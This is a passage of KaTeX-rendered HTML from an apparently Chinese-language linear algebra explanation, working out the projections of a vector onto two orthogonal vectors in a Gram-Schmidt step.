style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">3</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 在 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>q</mi><mn>1</mn></msub></mrow><annotation encoding="application/x-tex"> q_1 </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">q</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 和 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>q</mi><mn>2</mn></msub></mrow><annotation encoding="application/x-tex"> q_2 </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">q</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 上的投影：</p><p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi>p</mi><mi>r</mi><mi>o</mi><msub><mi>j</mi><msub><mi>q</mi><mn>1</mn></msub></msub><mo stretchy="false">(</mo><msub><mi>a</mi><mn>3</mn></msub><mo stretchy="false">)</mo><mo>=</mo><mfrac><mrow><msubsup><mi>a</mi><mn>3</mn><mi>T</mi></msubsup><msub><mi>q</mi><mn>1</mn></msub></mrow><mrow><msubsup><mi>q</mi><mn>1</mn><mi>T</mi></msubsup><msub><mi>q</mi><mn>1</mn></msub></mrow></mfrac><msub><mi>q</mi><mn>1</mn></msub><mo>=</mo><mfrac><mrow><mrow><mo fence="true">[</mo><mtable rowspacing="0.16em" columnalign="center center center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd></mtr></mtable><mo fence="true">]</mo></mrow><mrow><mo fence="true">[</mo><mtable rowspacing="0.16em" columnalign="center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd></mtr></mtable><mo fence="true">]</mo></mrow></mrow><mrow><mrow><mo fence="true">[</mo><mtable rowspacing="0.16em" columnalign="center center center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd></mtr></mtable><mo fence="true">]</mo></mrow><mrow><mo fence="true">[</mo><mtable rowspacing="0.16em" columnalign="center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd></mtr></mtable><mo fence="true">]</mo></mrow></mrow></mfrac><mrow><mo fence="true">[</mo><mtable rowspacing="0.16em" columnalign="center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd></mtr></mtable><mo fence="true">]</mo></mrow><mo>=</mo><mfrac><mn>1</mn><mn>2</mn></mfrac><mrow><mo fence="true">[</mo><mtable rowspacing="0.16em" columnalign="center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd></mtr></mtable><mo fence="true">]</mo></mrow><mo>=</mo><mrow><mo fence="true">[</mo><mtable rowspacing="0.16em" columnalign="center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0.5</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0.5</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd></mtr></mtable><mo fence="true">]</mo></mrow></mrow><annotation encoding="application/x-tex">proj_{q_1}(a_3) = \frac{a_3^T q_1}{q_1^T q_1} q_1 = \frac{\begin{bmatrix} 0 &amp; 1 &amp; 1 \end{bmatrix} \begin{bmatrix} 1 \\ 1 \\ 0 \end{bmatrix}}{\begin{bmatrix} 1 &amp; 1 &amp; 0 \end{bmatrix} \begin{bmatrix} 1 \\ 1 \\ 0 \end{bmatrix}} \begin{bmatrix} 1 \\ 1 \\ 0 \end{bmatrix} = \frac{1}{2} \begin{bmatrix} 1 \\ 1 \\ 0 \end{bmatrix} = \begin{bmatrix} 0.5 \\ 0.5 \\ 0 \end{bmatrix} </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0361em;vertical-align:-0.2861em;"></span><span class="mord mathnormal">p</span><span class="mord mathnormal">ro</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.05724em;">j</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:-0.0572em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.03588em;">q</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3173em;"><span style="top:-2.357em;margin-left:-0.0359em;margin-right:0.0714em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.143em;"><span></span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">3</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.4978em;vertical-align:-0.9794em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.5183em;"><span style="top:-2.2869em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">q</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8231em;"><span style="top:-2.4337em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span><span style="top:-3.0448em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2663em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">q</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8413em;"><span style="top:-2.4519em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">3</span></span></span><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2481em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">q</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.9794em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">q</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:7.48em;vertical-align:-3.49em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:3.99em;"><span style="top:-2.11em;"><span class="pstrut" style="height:4.05em;"></span><span class="mord"><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size1">[</span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.85em;"><span style="top:-3.01em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.35em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.85em;"><span style="top:-3.01em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.35em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.85em;"><span style="top:-3.01em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.35em;"><span></span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size1">]</span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen"><span class="delimsizing mult"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.05em;"><span style="top:-4.05em;"><span class="pstrut" style="height:5.6em;"></span><span style="width:0.667em;height:3.600em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.667em" height="3.600em" viewBox="0 0 667 3600"><path d="M403 1759 V84 H666 V0 H319 V1759 v0 v1759 h347 v-84H403z M403 1759 V0 H319 V1759 v0 v1759 h84z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.55em;"><span></span></span></span></span></span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.05em;"><span style="top:-4.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-3.01em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-1.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.55em;"><span></span></span></span></span></span></span></span><span class="mclose"><span class="delimsizing mult"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.05em;"><span style="top:-4.05em;"><span class="pstrut" style="height:5.6em;"></span><span style="width:0.667em;height:3.600em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.667em" height="3.600em" viewBox="0 0 667 3600"><path d="M347 1759 V0 H0 V84 H263 V1759 v0 v1759 H0 v84 H347zM347 1759 V0 H263 V1759 v0 v1759 h84z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.55em;"><span></span></span></span></span></span></span></span></span></span><span style="top:-4.28em;"><span class="pstrut" style="height:4.05em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-5.99em;"><span class="pstrut" style="height:4.05em;"></span><span class="mord"><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size1">[</span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.85em;"><span style="top:-3.01em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.35em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.85em;"><span style="top:-3.01em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.35em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.85em;"><span style="top:-3.01em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.35em;"><span></span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size1">]</span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen"><span class="delimsizing mult"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.05em;"><span style="top:-4.05em;"><span class="pstrut" style="height:5.6em;"></span><span style="width:0.667em;height:3.600em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.667em" height="3.600em" viewBox="0 0 667 3600"><path d="M403 1759 V84 H666 V0 H319 V1759 v0 v1759 h347 v-84H403z M403 1759 V0 H319 V1759 v0 v1759 h84z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.55em;"><span></span></span></span></span></span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.05em;"><span style="top:-4.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-3.01em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-1.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.55em;"><span></span></span></span></span></span></span></span><span class="mclose"><span class="delimsizing mult"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.05em;"><span style="top:-4.05em;"><span class="pstrut" style="height:5.6em;"></span><span style="width:0.667em;height:3.600em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.667em" height="3.600em" viewBox="0 0 667 3600"><path d="M347 1759 V0 H0 V84 H263 V1759 v0 v1759 H0 v84 H347zM347 1759 V0 H263 V1759 v0 v1759 h84z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.55em;"><span></span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:3.49em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen"><span class="delimsizing mult"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.05em;"><span style="top:-4.05em;"><span class="pstrut" style="height:5.6em;"></span><span style="width:0.667em;height:3.600em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.667em" height="3.600em" viewBox="0 0 667 3600"><path d="M403 1759 V84 H666 V0 H319 V1759 v0 v1759 h347 v-84H403z M403 1759 V0 H319 V1759 v0 v1759 h84z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.55em;"><span></span></span></span></span></span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.05em;"><span style="top:-4.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-3.01em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-1.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.55em;"><span></span></span></span></span></span></span></span><span class="mclose"><span class="delimsizing mult"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.05em;"><span style="top:-4.05em;"><span class="pstrut" style="height:5.6em;"></span><span style="width:0.667em;height:3.600em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.667em" height="3.600em" viewBox="0 0 667 3600"><path d="M347 1759 V0 H0 V84 H263 V1759 v0 v1759 H0 v84 H347zM347 1759 V0 H263 V1759 v0 v1759 h84z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.55em;"><span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:3.6em;vertical-align:-1.55em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">2</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen"><span class="delimsizing mult"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.05em;"><span style="top:-4.05em;"><span class="pstrut" style="height:5.6em;"></span><span style="width:0.667em;height:3.600em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.667em" height="3.600em" viewBox="0 0 667 3600"><path d="M403 1759 V84 H666 V0 H319 V1759 v0 v1759 h347 v-84H403z M403 1759 V0 H319 V1759 v0 v1759 h84z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.55em;"><span></span></span></span></span></span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.05em;"><span style="top:-4.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-3.01em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-1.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.55em;"><span></span></span></span></span></span></span></span><span class="mclose"><span class="delimsizing mult"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.05em;"><span style="top:-4.05em;"><span class="pstrut" style="height:5.6em;"></span><span style="width:0.667em;height:3.600em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.667em" height="3.600em" viewBox="0 0 667 3600"><path d="M347 1759 V0 H0 V84 H263 V1759 v0 v1759 H0 v84 H347zM347 1759 V0 H263 V1759 v0 v1759 h84z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.55em;"><span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:3.6em;vertical-align:-1.55em;"></span><span class="minner"><span class="mopen"><span class="delimsizing mult"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.05em;"><span style="top:-4.05em;"><span class="pstrut" style="height:5.6em;"></span><span style="width:0.667em;height:3.600em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.667em" height="3.600em" viewBox="0 0 667 3600"><path d="M403 1759 V84 H666 V0 H319 V1759 v0 v1759 h347 v-84H403z M403 1759 V0 H319 V1759 v0 v1759 h84z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.55em;"><span></span></span></span></span></span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.05em;"><span style="top:-4.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0.5</span></span></span><span style="top:-3.01em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0.5</span></span></span><span style="top:-1.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.55em;"><span></span></span></span></span></span></span></span><span class="mclose"><span class="delimsizing mult"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.05em;"><span style="top:-4.05em;"><span class="pstrut" style="height:5.6em;"></span><span style="width:0.667em;height:3.600em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.667em" height="3.600em" viewBox="0 0 667 3600"><path d="M347 1759 V0 H0 V84 H263 V1759 v0 v1759 H0 v84 H347zM347 1759 V0 H263 V1759 v0 v1759 h84z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.55em;"><span></span></span></span></span></span></span></span></span></span></span></span></p><p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi>p</mi><mi>r</mi><mi>o</mi><msub><mi>j</mi><msub><mi>q</mi><mn>2</mn></msub></msub><mo stretchy="false">(</mo><msub><mi>a</mi><mn>3</mn></msub><mo stretchy="false">)</mo><mo>=</mo><mfrac><mrow><msubsup><mi>a</mi><mn>3</mn><mi>T</mi></msubsup><msub><mi>q</mi><mn>2</mn></msub></mrow><mrow><msubsup><mi>q</mi><mn>2</mn><mi>T</mi></msubsup><msub><mi>q</mi><mn>2</mn></msub></mrow></mfrac><msub><mi>q</mi><mn>2</mn></msub><mo>=</mo><mfrac><mrow><mrow><mo fence="true">[</mo><mtable rowspacing="0.16em" columnalign="center center center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd></mtr></mtable><mo fence="true">]</mo></mrow><mrow><mo fence="true">[</mo><mtable rowspacing="0.16em" columnalign="center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0.5</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mo>−</mo><mn>0.5</mn></mrow></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd></mtr></mtable><mo fence="true">]</mo></mrow></mrow><mrow><mrow><mo fence="true">[</mo><mtable rowspacing="0.16em" columnalign="center center center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0.5</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mo>−</mo><mn>0.5</mn></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd></mtr></mtable><mo fence="true">]</mo></mrow><mrow><mo fence="true">[</mo><mtable rowspacing="0.16em" columnalign="center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0.5</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mo>−</mo><mn>0.5</mn></mrow></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd></mtr></mtable><mo fence="true">]</mo></mrow></mrow></mfrac><mrow><mo fence="true">[</mo><mtable rowspacing="0.16em" columnalign="center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0.5</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mo>−</mo><mn>0.5</mn></mrow></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd></mtr></mtable><mo fence="true">]</mo></mrow><mo>=</mo><mfrac><mn>0.5</mn><mn>1.5</mn></mfrac><mrow><mo fence="true">[</mo><mtable rowspacing="0.16em" columnalign="center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0.5</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mo>−</mo><mn>0.5</mn></mrow></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd></mtr></mtable><mo fence="true">]</mo></mrow><mo>=</mo><mrow><mo fence="true">[</mo><mtable rowspacing="0.16em" columnalign="center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mfrac><mn>1</mn><mn>6</mn></mfrac></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mo>−</mo><mfrac><mn>1</mn><mn>6</mn></mfrac></mrow></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mfrac><mn>1</mn><mn>3</mn></mfrac></mstyle></mtd></mtr></mtable><mo fence="true">]</mo></mrow></mrow><annotation encoding="application/x-tex">proj_{q_2}(a_3) 